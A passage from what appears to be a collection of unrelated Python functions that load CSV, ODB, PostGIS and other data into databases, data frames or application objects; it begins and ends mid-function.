#idz=numpy.isin(alldict.andate.values[idy],alldict.andate.values[idx])\\n #if numpy.sum(idz)>0:\\n #alldict.drop(index=alldict.index[idy[idz]],inplace=True)\\n \\n #idx=numpy.where(alldict.reportype.values==16068)[0]\\n #if idx.shape[0]>0:\\n #idy=numpy.where(numpy.logical_and(alldict.reportype.values!=16045,alldict.reportype.values!=16068))[0]\\n #if idy.shape[0]>0:\\n #idz=numpy.isin(alldict.andate.values[idy],alldict.andate.values[idx])\\n #if numpy.sum(idz)>0:\\n #alldict.drop(index=alldict.index[idy[idz]],inplace=True)\\n \\n \\n #print(time.time()-t,sys.getsizeof(alldict)//1024//1024)\\n \\n alldict['source_id'] = dataset.rjust(10)\\n\\n for c in alldict.columns:\\n \\n if type(alldict[c].iloc[0]) in [str,bytes]:\\n l=alldict[c].shape[0]\\n slen=len(alldict[c].values[0])\\n alldict[c]=numpy.array(alldict.pop(c).values,dtype='S{}'.format(slen))\\n #alldict[c]=numpy.string_(alldict[c])\\n \\n if type(alldict[c].iloc[0]) is numpy.int64:\\n alldict[c]=numpy.int32(alldict[c])\\n \\n if type(alldict[c].iloc[0]) is numpy.float64:\\n alldict[c]=numpy.float32(alldict[c])\\n \\n #print('after odb:',time.time()-t)\\n \\n except MemoryError:\\n print('Reading ODB failed ! ' + odbfile)\\n return alldict\\n \\n #print(odbfile,time.time()-t)#, sys.getsizeof(alldict))\\n\\n \\n return alldict\",\n \"def extract(self, return_data:bool=False):\\n row_count = self.get_row_count()\\n \\n self.logger.info(f'Starting extract from {self.table_schema_name}')\\n self.logger.info(f'Rows to extract: {row_count}')\\n self.logger.info(\\\"Note: petl can cause log messages to seemingly come out of order.\\\")\\n \\n assert row_count != 0, 'Error! Row count of dataset in database is 0??'\\n\\n # Try to get an (arbitrary) sensible interval to print progress on by dividing by the row count\\n if row_count < 10000:\\n interval = int(row_count/3)\\n if row_count > 10000:\\n interval = int(row_count/15)\\n if row_count == 1:\\n interval = 1\\n # If it rounded down to 0 with int(), that means we have a very small amount of rows\\n if not interval:\\n interval = 1\\n\\n self.logger.info('Initializing data var with etl.frompostgis()..')\\n if self.with_srid is True:\\n rows = etl.frompostgis(self.conn, self.table_schema_name, geom_with_srid=True)\\n else:\\n rows = etl.frompostgis(self.conn, self.table_schema_name, geom_with_srid=False)\\n\\n num_rows_in_csv = rows.nrows()\\n\\n if num_rows_in_csv == 0:\\n raise AssertionError('Error! Dataset is empty? Line count of CSV is 0.')\\n\\n self.logger.info(f'Asserting counts match between db and extracted csv')\\n self.logger.info(f'{row_count} == {num_rows_in_csv}')\\n assert row_count == num_rows_in_csv\\n\\n \\n # New assert as well that will fail if row_count doesn't equal CSV again (because of time difference)\\n db_newest_row_count = self.get_row_count()\\n self.logger.info(f'Asserting counts match between current db count and extracted csv')\\n self.logger.info(f'{db_newest_row_count} == {num_rows_in_csv}')\\n assert db_newest_row_count == num_rows_in_csv\\n \\n if return_data: \\n return rows\\n \\n # Dump to our CSV temp file\\n self.logger.info('Extracting csv...')\\n try:\\n rows.progress(interval).tocsv(self.csv_path, 'utf-8')\\n except UnicodeError:\\n self.logger.warning(\\\"Exception encountered trying to extract to CSV with utf-8 encoding, trying latin-1...\\\")\\n rows.progress(interval).tocsv(self.csv_path, 'latin-1')\\n\\n self.check_remove_nulls()\\n self.load_csv_to_s3(path=self.csv_path)\",\n \"def _init_train_valid(self, csv_path, csv_sep, csv_names):\\n # load groundtruth\\n # last element following a dot is file's extension\\n print('Loading data...') \\n if csv_path.split('.')[-1] == 'cache':\\n # load cache\\n # Assumes that the cache contains a list of all the identities, a dictionary containing metadata about those identities and the number of samples contained in the cache.\\n # The dictionary must have the same format as the 'groundtruth_metadata' dictionary that is built below.\\n # dati che mi servono: identities, groundtruth_metadata, num_samples\\n with open(csv_path, 'rb') as cache_file:\\n cache = pickle.load(cache_file)\\n self.identities = cache['identities']\\n self.groundtruth_metadata = cache['groundtruth_metadata']\\n self.num_samples = cache['num_samples']\\n else:\\n # Assumes for the provided csv the following structure:\\n # Path, ID, Gender, Age, x_min(roi_origin_x), y_min(roi_origin_y), width(roi_width), height(roi_height)\\n groundtruth = pd.read_csv(csv_path, sep=csv_sep, names=csv_names)\\n # for each groundtruth row\\n for gt_sample in groundtruth.iterrows():\\n identity = gt_sample[1][\\\"ID\\\"]\\n # this iteration is over all of the elements in groundtruth, so the same id can be encountered multiple times (same id associated to multiple images)\\n if identity not in self.identities:\\n self.identities.append(identity)\\n # load identity's metadata\\n id_data = {\\n 'age': gt_sample[1][\\\"Age\\\"],\\n 'roi': {\\n 'upper_left_x': gt_sample[1][\\\"x_min\\\"],\\n 'upper_left_y': gt_sample[1][\\\"y_min\\\"],\\n 'width': gt_sample[1][\\\"width\\\"],\\n 'height': gt_sample[1][\\\"height\\\"]\\n },\\n 'path': gt_sample[1][\\\"Path\\\"]\\n }\\n if identity not in self.groundtruth_metadata.keys():\\n self.groundtruth_metadata[identity] = {\\n 'index': 0,\\n 'metadata': []\\n }\\n # the other elements in the list associated to an identity are metadata \\n self.groundtruth_metadata[identity]['metadata'].append(id_data)\\n self.num_samples += 1\\n # Dump loaded data to cache\\n # Split csv path in directory path and filename\\n (csv_dir, csv_name) = os.path.split(csv_path)\\n # Create a name for cache file with the same name as csv file but different extension\\n cache_name = csv_name.split('.')[0]+'.cache'\\n # Create a path pointing to the new cache file, locating it in the same directory as the csv file\\n cache_path = os.path.join(csv_dir, cache_name)\\n # Write relevant data to file\\n with open(cache_path, 'wb') as cache_out_file:\\n out_dict = {}\\n out_dict['identities'] = self.identities\\n out_dict['groundtruth_metadata'] = self.groundtruth_metadata\\n out_dict['num_samples'] = self.num_samples\\n pickle.dump(out_dict, cache_out_file) \\n print('Finished loading data!')\\n if self.mode == 'training':\\n self._shuffle()\",\n \"def _load(self):\\n op_type_file_path = os.path.join(\\n self._profiling_dir,\\n self._csv_file_to_analyse.format(self._device_id)\\n )\\n op_type_file_path = validate_and_normalize_path(\\n op_type_file_path, raise_key=\\\"Invalid op_type_file_path\\\")\\n if not os.path.isfile(op_type_file_path):\\n log.warning('The file <%s> does not exist.', op_type_file_path)\\n return\\n\\n with open(op_type_file_path, 'r') as file:\\n csv_reader = csv.reader(file)\\n _ = next(csv_reader)\\n for info in csv_reader:\\n self._data.append(self._convert_field_type(info))\",\n \"def load_data(model, i18n_model, i18n_dirname):\\n position_num = []\\n dic_keys = {}\\n csv_separator = ':'\\n re_num = re.compile('\\\\d+$')\\n\\n # Get only the fields name\\n fields = [ x for x in model[2:] if not (':' in x or '#' in x) ]\\n # Get left data.\\n fields_number = len(fields)\\n csv_file = model[0]\\n model_name = model[1]\\n print \\\"Adding data in %s.%s table\\\" % (i18n_dirname, model_name)\\n # Load the class of the models file\\n exec \\\"%s = getattr(i18n_model, model_name)\\\" % model_name\\n\\n # Get the position of numeric fields\\n if ':N' in model:\\n pos = model.index(':N')\\n position_num = model[pos-1] # The field numeric is before of ':N'\\n position_num = [ int(x) for x in position_num if not '#' in x ]\\n\\n # Info. about keys\\n if ':K' in model:\\n pos = model.index(':K')\\n info_keys = model[pos-1]\\n # Format-> :[position],[model name]:...\\n info_keys = info_keys.split(':')[1:]\\n keys = [ (int(x.split(',')[0]), x.split(',')[1]) for x in info_keys ]\\n dic_keys = dict(keys)\\n\\n # To store the keys. Set to values null\\n model_id = {}\\n for x in dic_keys.keys():\\n model_id.setdefault(x, None)\\n\\n # Convert from CSV to Django ORM\\n reader = csv.reader(comment_stripper(\\n open(csv_file)), delimiter=csv_separator)\\n\\n line_bool = [] # Lines where is enabled a boolean field.\\n bool_found = False\\n line_number = 0\\n for csv_line in reader:\\n #debug\\n# if \\\\\\n# model_name == \\\"Phone\\\" or \\\\\\n# model_name == \\\"AddressFormat\\\":\\n# model_name == \\\"Country\\\" or \\\\\\n# model_name == \\\"CountryLanguage\\\" or \\\\\\n# model_name == \\\"Language\\\" or \\\\\\n# model_name == \\\"Subdivision\\\" or \\\\\\n# model_name == \\\"TimeZone\\\" or\\n# print \\\"\\\\tskip\\\"\\n# break\\n\\n object_line = []\\n key_line_s = []\\n line_number += 1\\n\\n object_line.append(\\\"c%d = %s(\\\" % (line_number, model_name))\\n\\n for position in range(0, fields_number):\\n field_text = csv_line[position]\\n if field_text == 'True':\\n if not bool_found:\\n bool_field = fields[position]\\n bool_found = True\\n line_bool.append(line_number)\\n elif field_text: # If is not empty\\n key_line = []\\n if object_line[-1][-1] != '(': # Check the last character\\n object_line.append(', ')\\n # If is a key\\n if dic_keys and dic_keys.has_key(position):\\n object_line.append('%s=key_id%d'\\n % (fields[position], position))\\n key_model = dic_keys.get(position)\\n\\n # Load the class of the foreigner model.\\n try:\\n eval(\\\"%s\\\" % key_model)\\n except NameError:\\n exec \\\"%s = getattr(i18n_model, key_model)\\\" %key_model\\n\\n if csv_line[position] != model_id.get(position):\\n model_id[position] = csv_line[position]\\n\\n key_line.append('key_id%d = %s.objects.get(pk='\\n % (position, key_model))\\n if re_num.match(model_id.get(position)): # integer\\n key_line.append('%d)' % model_id.get(position))\\n else:\\n key_line.append('\\\"%s\\\")' % model_id.get(position))\\n\\n key_line = ''.join(key_line)\\n key_line_s.append(key_line)\\n\\n # If is an integer\\n elif position in position_num:\\n object_line.append('%s=%s' \\\\\\n % (fields[position], csv_line[position]))\\n # If is a string.\\n else:\\n object_line.append('%s=\\\"%s\\\"' \\\\\\n % (fields[position], csv_line[position]))\\n\\n if key_line_s:\\n for key in key_line_s:\\n# print key #debug\\n exec(key)\\n\\n object_line.append(\\\")\\\")\\n load_object = ''.join(object_line)\\n# print load_object #debug\\n exec(load_object) # Load the object\\n\\n # At the end, save all objects together\\n if model_name == 'Language':\\n # Display the english language.\\n for num in range(1, line_number+1):\\n obj = eval(\\\"c%d\\\" % num)\\n if obj.iso3_code == 'eng':\\n obj.display = True\\n obj.save()\\n else:\\n for num in range(1, line_number+1):\\n obj = eval(\\\"c%d\\\" % num)\\n if num in line_bool:\\n exec(\\\"obj.%s = True\\\" % bool_field)\\n try:\\n \\tobj.save()\\n except:\\n print \\\"Problem loading data. Entry will not be loaded.\\\"\\n try:\\n transaction.rollback()\\n except:\\n #Some databases were having trouble with the rollback\\n pass\",\n \"def run(self):\\n lineage_csv_gz = self.input_files_local[0][0]\\n output_db = self.output_files_local()[0]\\n log.write(f\\\"input: {lineage_csv_gz} output: {output_db}\\\")\\n\\n with IdSeqDictForUpdate(output_db, IdSeqDictValue.VALUE_TYPE_ARRAY) as lineage_dict:\\n batch_list = {}\\n with gzip.open(lineage_csv_gz, \\\"rt\\\") as gzf:\\n for line in gzf:\\n fields = line.rstrip().split(\\\",\\\")\\n taxid = fields[0]\\n species, genus, family = fields[-1:-4:-1]\\n batch_list[taxid] = [species, genus, family]\\n if len(batch_list) >= BATCH_INSERT_SIZE:\\n lineage_dict.batch_inserts(batch_list.items())\\n batch_list = {}\\n lineage_dict.batch_inserts(batch_list.items())\",\n \"def addDataFromCSV(featureClassPath, csvPath):\\r\\n csvColumnNames = []\\r\\n featureClasssAttrNames = []\\r\\n with open(csvPath, \\\"r\\\") as csv:\\r\\n names = csv.next()[:-1].split(\\\",\\\")\\r\\n for name in names:\\r\\n csvColumnNames.append(name)\\r\\n fcFields = arcpy.ListFields(featureClassPath)\\r\\n for fieldName in fcFields:\\r\\n if fieldName.name != \\\"OBJECTID\\\" and fieldName.name != \\\"SHAPE\\\":\\r\\n featureClasssAttrNames.append(fieldName.name.encode(\\\"utf-8\\\"))\\r\\n\\r\\n if (set(featureClasssAttrNames).issubset(csvColumnNames)) == True:\\r\\n insertCursorList = featureClasssAttrNames\\r\\n insertCursorList.append(\\\"SHAPE@X\\\")\\r\\n insertCursorList.append(\\\"SHAPE@Y\\\")\\r\\n with open(csvPath, \\\"r\\\") as _csv:\\r\\n _csv.readline()\\r\\n with arcpy.da.InsertCursor(featureClassPath,insertCursorList) as insertCursor:\\r\\n for row in _csv:\\r\\n insertCursor.insertRow(row[:-1].split(\\\",\\\"))\\r\\n\\r\\n else:\\r\\n print \\\"La schema de CSV no es la misma con la schema de Feature Class\\\"\",\n \"def CsvToJson(nomfichierJson):\\n with open(\\\"save/save.csv\\\",'r') as f:\\n liste_cube = list()\\n liste_robot = list()\\n \\\"\\\"\\\"deux listes vides pour contenir les objets charges\\\"\\\"\\\"\\n for line in f:\\n ligne=line.split(\\\";\\\")\\n if ligne[0] == 'Arene':\\n \\\"\\\"\\\"On cree une nouvelle arene avec les parametres trouves sur la ligne, separes par des ';' \\\"\\\"\\\"\\n arene = Arene(int(ligne[1]),int(ligne[2]),int(ligne[3]),liste_cube,liste_robot)\\n arene.liste_robot=liste_robot\\n elif ligne[0] == 'Cube':\\n \\\"\\\"\\\"On ajoute le cube a la liste de cube de l'arene, avec parametres trouves sur la ligne\\\"\\\"\\\"\\n arene.liste_cube.append(Cube(int(ligne[1]),int(ligne[2]),int(ligne[3]),int(ligne[4]),int(ligne[5]),int(ligne[6])))\\n elif ligne[0] == 'Mur':\\n arene.liste_cube.append(Mur(int(ligne[1]),int(ligne[2]),int(ligne[3]),int(ligne[4]),int(ligne[5]),int(ligne[6])))\\n elif ligne[0] == 'Sol':\\n arene.liste_cube.append(Sol(int(ligne[1]),int(ligne[2]),int(ligne[3]),int(ligne[4]),int(ligne[5])))\\n elif ligne[0] == 'Robot':\\n (x,y,z)=literal_eval(ligne[1])\\n ((cax,cay),(cbx,cby),(ccx,ccy),(cdx,cdy))=literal_eval(ligne[2])\\n (a,b,c)=literal_eval(ligne[3])\\n (lo,la,ha)=literal_eval(ligne[4])\\n vitesse=literal_eval(ligne[5])\\n arene.liste_robot.append(Robot((x,y,z),((cax,cay),(cbx,cby),(ccx,ccy),(cdx,cdy)),(a,b,c),(lo,la,ha),vitesse))\\n saveFic(arene,nomfichierJson)\",\n \"def get_data(self):\\r\\n self.logger_object.log(self.file_object,'Getting data ')\\r\\n try:\\r\\n self.data= pd.read_csv(self.training_file) # reading the data file\\r\\n self.logger_object.log(self.file_object,'Loaded data successfully')\\r\\n return self.data\\r\\n except Exception as e:\\r\\n self.logger_object.log(self.file_object,'Exception has occured in data get_data method '+str(e))\\r\\n self.logger_object.log(self.file_object,\\r\\n 'Data Load Unsuccessful.Exited the get_data method of the Data_Getter class')\\r\\n raise Exception()\",\n \"def loaddata(self):\\n # Connect to the db\\n self.conn, self.c = self.connect_db(self.dbname)\\n # create the bdefile table to \\n self.c.execute(oeeutil.sql_create_bdefile_table)\\n # Delete any previous records\\n self.c.execute('DELETE FROM bdefile')\\n # hold the content for analysis\\n for item in self.content:\\n self.c.execute('INSERT INTO bdefile VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?)', item)\\n self.c.executescript(oeeutil.sql_create_bdefile_view)\\n self.conn.commit()\",\n \"def load_data_to_db(self, path):\\n table_names = ['train_transaction', 'train_identity', 'test_transaction', 'test_identity']\\n for table_name in table_names:\\n pat = self.TRANSACTION_NON_NUMBER_PATTERN if 'transaction' in table_name else self.IDENTITY_NON_NUMBER_PATTERN\\n print(\\\"Loading table: \\\" + table_name)\\n fn = os.path.join(path, table_name + '.csv')\\n self.dbinstance.build_table_from_csv(fn, pat, table_name)\\n print(\\\"Loaded table \\\" + table_name)\",\n \"def ingest(self):\\n self.log.debug('starting the ``get`` method')\\n\\n dictList = self._create_dictionary_of_ned_d()\\n self.primaryIdColumnName = \\\"primaryId\\\"\\n self.raColName = \\\"raDeg\\\"\\n self.declColName = \\\"decDeg\\\"\\n\\n tableName = self.dbTableName\\n createStatement = u\\\"\\\"\\\"\\n CREATE TABLE `%(tableName)s` (\\n `primaryId` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'An internal counter',\\n `Method` varchar(150) DEFAULT NULL,\\n `dateCreated` datetime DEFAULT CURRENT_TIMESTAMP,\\n `dateLastModified` datetime DEFAULT CURRENT_TIMESTAMP,\\n `updated` varchar(45) DEFAULT '0',\\n `dist_derived_from_sn` varchar(150) DEFAULT NULL,\\n `dist_in_ned_flag` varchar(10) DEFAULT NULL,\\n `dist_index_id` mediumint(9) DEFAULT NULL,\\n `dist_mod` double DEFAULT NULL,\\n `dist_mod_err` double DEFAULT NULL,\\n `dist_mpc` double DEFAULT NULL,\\n `galaxy_index_id` mediumint(9) DEFAULT NULL,\\n `hubble_const` double DEFAULT NULL,\\n `lmc_mod` double DEFAULT NULL,\\n `notes` varchar(500) DEFAULT NULL,\\n `primary_ned_id` varchar(150) DEFAULT NULL,\\n `redshift` double DEFAULT NULL,\\n `ref` varchar(150) DEFAULT NULL,\\n `ref_date` int(11) DEFAULT NULL,\\n `master_row` tinyint(4) DEFAULT '0',\\n `major_diameter_arcmin` double DEFAULT NULL,\\n `ned_notes` varchar(700) DEFAULT NULL,\\n `object_type` varchar(100) DEFAULT NULL,\\n `redshift_err` double DEFAULT NULL,\\n `redshift_quality` varchar(100) DEFAULT NULL,\\n `magnitude_filter` varchar(10) DEFAULT NULL,\\n `minor_diameter_arcmin` double DEFAULT NULL,\\n `morphology` varchar(50) DEFAULT NULL,\\n `hierarchy` varchar(50) DEFAULT NULL,\\n `galaxy_morphology` varchar(50) DEFAULT NULL,\\n `radio_morphology` varchar(50) DEFAULT NULL,\\n `activity_type` varchar(50) DEFAULT NULL,\\n `in_ned` tinyint(4) DEFAULT NULL,\\n `raDeg` double DEFAULT NULL,\\n `decDeg` double DEFAULT NULL,\\n `eb_v` double DEFAULT NULL,\\n `sdss_coverage` TINYINT DEFAULT NULL,\\n PRIMARY KEY (`primaryId`),\\n UNIQUE KEY `galaxy_index_id_dist_index_id` (`galaxy_index_id`,`dist_index_id`)\\n ) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;\\n DROP VIEW IF EXISTS `view_%(tableName)s_master_recorders`;\\n CREATE\\n VIEW `view_%(tableName)s_master_recorders` AS\\n (SELECT \\n `%(tableName)s`.`primary_ned_id` AS `primary_ned_id`,\\n `%(tableName)s`.`object_type` AS `object_type`,\\n `%(tableName)s`.`raDeg` AS `raDeg`,\\n `%(tableName)s`.`decDeg` AS `decDeg`,\\n `%(tableName)s`.`dist_mpc` AS `dist_mpc`,\\n `%(tableName)s`.`dist_mod` AS `dist_mod`,\\n `%(tableName)s`.`dist_mod_err` AS `dist_mod_err`,\\n `%(tableName)s`.`Method` AS `dist_measurement_method`,\\n `%(tableName)s`.`redshift` AS `redshift`,\\n `%(tableName)s`.`redshift_err` AS `redshift_err`,\\n `%(tableName)s`.`redshift_quality` AS `redshift_quality`,\\n `%(tableName)s`.`major_diameter_arcmin` AS `major_diameter_arcmin`,\\n `%(tableName)s`.`minor_diameter_arcmin` AS `minor_diameter_arcmin`,\\n `%(tableName)s`.`magnitude_filter` AS `magnitude_filter`,\\n `%(tableName)s`.`eb_v` AS `gal_eb_v`,\\n `%(tableName)s`.`hierarchy` AS `hierarchy`,\\n `%(tableName)s`.`morphology` AS `morphology`,\\n `%(tableName)s`.`radio_morphology` AS `radio_morphology`,\\n `%(tableName)s`.`activity_type` AS `activity_type`,\\n `%(tableName)s`.`ned_notes` AS `ned_notes`,\\n `%(tableName)s`.`in_ned` AS `in_ned`,\\n `%(tableName)s`.`primaryId` AS `primaryId`\\n FROM\\n `%(tableName)s`\\n WHERE\\n (`%(tableName)s`.`master_row` = 1));\\n \\\"\\\"\\\" % locals()\\n\\n self.add_data_to_database_table(\\n dictList=dictList,\\n createStatement=createStatement\\n )\\n\\n self._clean_up_columns()\\n self._get_metadata_for_galaxies()\\n self._update_sdss_coverage()\\n\\n self.log.debug('completed the ``get`` method')\\n return None\",\n \"def load_ase_data(\\n db_path=\\\"oqmd_all_entries.db\\\",\\n dtype=float,\\n cutoff_type=\\\"voronoi\\\",\\n cutoff_radius=2.0,\\n filter_query=None,\\n self_interaction=False,\\n discard_unconnected=False,\\n ):\\n con = ase.db.connect(db_path)\\n sel = filter_query\\n\\n for i, row in enumerate(select_wfilter(con, sel)):\\n if i % 100 == 0:\\n print(\\\"%010d \\\" % i, sep=\\\"\\\", end=\\\"\\\\r\\\")\\n atoms = row.toatoms()\\n if row.key_value_pairs:\\n prop_dict = row.key_value_pairs\\n else:\\n prop_dict = row.data\\n prop_dict[\\\"id\\\"] = row.id\\n try:\\n graphobj = FeatureGraph(\\n atoms,\\n cutoff_type,\\n cutoff_radius,\\n lambda x: x,\\n self_interaction=self_interaction,\\n **prop_dict\\n )\\n except RuntimeError:\\n logging.error(\\\"Error during data conversion of row id %d\\\", row.id)\\n continue\\n if discard_unconnected and (graphobj.conns.shape[0] == 0):\\n logging.error(\\\"Discarding %i because no connections made %s\\\", i, atoms)\\n else:\\n yield graphobj\\n print(\\\"\\\")\",\n \"def load_file(self, query, table_name, infile, batch_size=1000, throttle_size=10_000, throttle_time=3):\\n logger.info(\\\"Importing from {}, batch size = {} throttle size={} throttle time={}\\\"\\\\\\n .format(infile, batch_size, throttle_size, throttle_time))\\n reader = csv.DictReader(open(infile, 'r'))\\n insert_q = self.build_insert_query(query, self._clean_fields(reader.fieldnames), table_name)\\n logger.debug(insert_q)\\n # columnNames = reader.fieldnames\\n\\n row_count = 0\\n batch = []\\n batch_count = 1\\n\\n total_rows_modified = 0\\n throttle_count = 0\\n\\n i = 0\\n for row in reader:\\n if row_count >= batch_size - 1:\\n logger.info(\\\"Submitting INSERT batch {}\\\".format(batch_count))\\n total_rows_modified += self._submit_batch(insert_q, batch)\\n \\n logger.debug(str(batch)[:self.max_debug_chars])\\n\\n batch = []\\n row_count = 0\\n batch_count += 1\\n else:\\n row_count += 1\\n\\n # data = OrderedDict((self._clean_field(key), value) for key, value in row.items())\\n data = OrderedDict()\\n for key, value in row.items():\\n key = self._clean_field(key)\\n if key in self.column_type_overrides:\\n try:\\n value = self.column_type_overrides[key](value)\\n except Exception as e:\\n logger.debug(e)\\n logger.debug(f\\\"Could not set value for {key}, default to None\\\")\\n value = None\\n # value = self._clean_values(key, value)\\n else:\\n # If no value is defined, use null.\\n if not value:\\n value = None\\n data[key] = value\\n\\n batch.append(data)\\n\\n # Put in a sleep timer to throttle how hard we hit the database\\n if throttle_time and throttle_size and (throttle_count >= throttle_size - 1):\\n logger.info(f\\\"Sleeping for {throttle_time} seconds... row: {i}\\\")\\n time.sleep(int(throttle_time))\\n throttle_count = 0\\n elif throttle_time and throttle_size:\\n throttle_count += 1\\n i += 1\\n\\n # Submit remaining INSERT queries\\n if batch:\\n logger.debug(batch)\\n logger.info(\\\"Submitting INSERT batch {}\\\".format(batch_count))\\n total_rows_modified += self._submit_batch(insert_q, batch)\\n \\n return total_rows_modified\",\n \"def main(csvfile, dbfile, verbose=False):\\n CONN = sqlite3.connect(dbfile)\\n cursor = CONN.cursor()\\n create_schema(cursor)\\n process_data(cursor, csvfile, verbose=verbose)\\n CONN.commit()\\n CONN.close()\",\n \"def load_csv(filename):\\n # Open csvfile\\n with open(filename) as csvfile:\\n reader = csv.DictReader(csvfile)\\n\\n # Put data in gloabal list\\n for row in reader:\\n # Get data of subject with either or both milk and peanut allergy\\n if row[\\\"MILK_ALG_START\\\"] != \\\"NA\\\" or row[\\\"PEANUT_ALG_START\\\"] != \\\"NA\\\":\\n sub_list = list()\\n for key in DATA_KEYS:\\n sub_list.append(row[key])\\n\\n # Add data of subject to all data \\n data_list.append(sub_list)\",\n \"def load_drugs():\\n\\n print(\\\"Drugs\\\")\\n\\n Drug.query.delete()\\n\\n with open(\\\"seed_data/drug_seed.psv\\\") as drugs:\\n for row in drugs:\\n name = row.strip()\\n\\n drug = Drug(generic_name=name)\\n\\n db.session.add(drug)\\n\\n db.session.commit()\",\n \"def load_data(self):\\n df= self.read_file()\\n for row,col in df.iterrows():\\n Employeeid = int(col['Empolyeeid'])\\n Employee_Name = col['Employee_Name']\\n Age = col['Age']\\n Salary = col['Salary']\\n self.table.put_item(\\n Item={\\n \\\"Employeeid\\\":Employeeid,\\n \\\"Employee_Name\\\": Employee_Name,\\n \\\"Age\\\": Age,\\n \\\"Salary\\\": Salary\\n }\\n )\\n return True\",\n \"def insert_from_csv_reader(self, reader):\\n\\n conn = sqlite3.connect(self.db_name)\\n c = conn.cursor()\\n for installation_key in reader.installations:\\n insert_query = \\\"INSERT INTO Installation(Id, Name, Address, PostalCode, City, Latitude, Longitude) \\\" \\\\\\n \\\"VALUES(?, ?, ?, ?, ?, ?, ?) \\\"\\n install = reader.installations[installation_key]\\n c.execute(insert_query, (\\n install.id, install.name, install.address, install.postal_code, install.city, install.latitude,\\n install.longitude))\\n\\n for activity_key in reader.activities:\\n insert_query = \\\"INSERT INTO Activity(Id, Name) VALUES(?, ?)\\\"\\n act = reader.activities[activity_key]\\n c.execute(insert_query, (act.id, act.name))\\n\\n for equipment_key in reader.equipments:\\n insert_query = \\\"INSERT INTO Equipment(Id, Name, IdInstallation) VALUES(?, ?, ?)\\\"\\n equip = reader.equipments[equipment_key]\\n c.execute(insert_query, (equip.id, equip.name, equip.installation.id))\\n\\n # We use the activities references present on the equipment to create a linking table\\n for act in equip.activities:\\n insert_query = \\\"INSERT INTO EquipmentActivity(IdEquipment, IdActivity) VALUES(?, ?)\\\"\\n c.execute(insert_query, (equip.id, act.id))\\n\\n conn.commit()\\n conn.close()\",\n \"def load_database(self, main_class):\\n main_class.database.delete_all(\\\"render\\\")\\n main_class.database.delete_all(\\\"object\\\")\\n #main_class.database.delete_all(\\\"output\\\")\\n render_csv = os.path.join(self.filepath, \\\"Render_data.csv\\\")\\n object_csv = os.path.join(self.filepath, \\\"Obj_data.csv\\\")\\n main_class.database.import_excel(render_csv, \\\"render\\\")\\n main_class.database.import_excel(object_csv, \\\"object\\\")\\n\\n render_dic=main_class.database.get_database_dict(\\\"render\\\")\\n\\n main_class.render_database = main_class.database.get_data_from_database(\\\"render\\\")\\n main_class.object_database = main_class.database.get_data_from_database(\\\"object\\\")\\n\\n main_class.background_picture_list = main_class.database.get_background_pictures_names()\\n main_class.packaging_picture_list = main_class.database.get_bubble_wrap_pictures_names()\\n\\n main_class.camera_settings.append([0, 0, 0, 0, 100])\\n for obj in main_class.render_database:\\n \\\"\\\"\\\"\\n extracting Camerasetting from Database and set all important angles and distances\\n \\\"\\\"\\\"\\n if obj[render_dic[\\\"object_type\\\"]] == \\\"camera\\\":\\n for i in range(0, int(obj[render_dic[\\\"polar_angle_segments\\\"]])):\\n for j in range(0, int(obj[render_dic[\\\"azimuth_angle_segments\\\"]])):\\n pol_min = obj[render_dic[\\\"polar_angle_min\\\"]]\\n pol_max = obj[render_dic[\\\"polar_anglel_max\\\"]]\\n pol_segments= obj[render_dic[\\\"polar_angle_segments\\\"]]\\n pol_random=obj[render_dic[\\\"polar_angle_random_rad\\\"]]\\n try:\\n pol_min = float( pol_min.replace(',','.'))\\n except:\\n pass\\n try:\\n pol_max = float( pol_max.replace(',','.'))\\n except:\\n pass\\n try:\\n pol_segments = float( pol_segments.replace(',','.'))\\n except:\\n pass\\n try:\\n pol_random = float( pol_random.replace(',','.'))\\n except:\\n pass\\n polar_angle = (pol_min + ((pol_max - pol_min)/(pol_segments))*i)\\n\\n azi_min = obj[render_dic[\\\"azimuth_angle_min\\\"]]\\n azi_max = obj[render_dic[\\\"azimuth_angle_max\\\"]]\\n azi_segments= obj[render_dic[\\\"azimuth_angle_segments\\\"]]\\n azi_random= obj[render_dic[\\\"azimuth_angle_random_rad\\\"]]\\n\\n try:\\n azi_min = float( azi_min.replace(',','.'))\\n except:\\n pass\\n try:\\n azi_max = float( azi_max.replace(',','.'))\\n except:\\n pass\\n try:\\n azi_segments = float( azi_segments.replace(',','.'))\\n except:\\n pass\\n try:\\n azi_random = float( azi_random.replace(',','.'))\\n except:\\n pass\\n azimuth_angle = (azi_min + ((azi_max - azi_min)/(azi_segments))*j)\\n\\n position=[polar_angle, pol_random, azimuth_angle, azi_random, obj[render_dic[\\\"radius\\\"]] ]\\n print(\\\"camera position added: \\\",position)\\n main_class.camera_settings.append(position)\\n \\n if obj[render_dic[\\\"object_type\\\"]]==\\\"light\\\":\\n\\n if obj[render_dic[\\\"name\\\"]]==\\\"SUN\\\":\\n radius= obj[render_dic[\\\"radius\\\"]]\\n try:\\n radius = float( radius.replace(',','.'))\\n except:\\n pass\\n light_obj=[ obj[render_dic[\\\"name\\\"]] , [0,0, radius ] ]\\n main_class.light_settings.append(light_obj)\\n print(\\\"sun added to list\\\")\\n\\n if obj[render_dic[\\\"name\\\"]]==\\\"SPOT\\\":\\n for i in range(0, int(obj[render_dic[\\\"polar_angle_segments\\\"]])):\\n for j in range(0, int(obj[render_dic[\\\"azimuth_angle_segments\\\"]])):\\n pol_min = obj[render_dic[\\\"polar_angle_min\\\"]]\\n pol_max = obj[render_dic[\\\"polar_anglel_max\\\"]]\\n pol_segments= obj[render_dic[\\\"polar_angle_segments\\\"]]\\n pol_random=obj[render_dic[\\\"polar_angle_random_rad\\\"]]\\n try:\\n pol_min = float( pol_min.replace(',','.'))\\n except:\\n pass\\n try:\\n pol_max = float( pol_max.replace(',','.'))\\n except:\\n pass\\n try:\\n pol_segments = float( pol_segments.replace(',','.'))\\n except:\\n pass\\n try:\\n pol_random = float( pol_random.replace(',','.'))\\n except:\\n pass\\n polar_angle = (pol_min + ((pol_max - pol_min)/(pol_segments))*i)\\n\\n azi_min = obj[render_dic[\\\"azimuth_angle_min\\\"]]\\n azi_max = obj[render_dic[\\\"azimuth_angle_max\\\"]]\\n azi_segments= obj[render_dic[\\\"azimuth_angle_segments\\\"]]\\n azi_random= obj[render_dic[\\\"azimuth_angle_random_rad\\\"]]\\n try:\\n azi_min = float( azi_min.replace(',','.'))\\n except:\\n pass\\n try:\\n azi_max = float( azi_max.replace(',','.'))\\n except:\\n pass\\n try:\\n azi_segments = float( 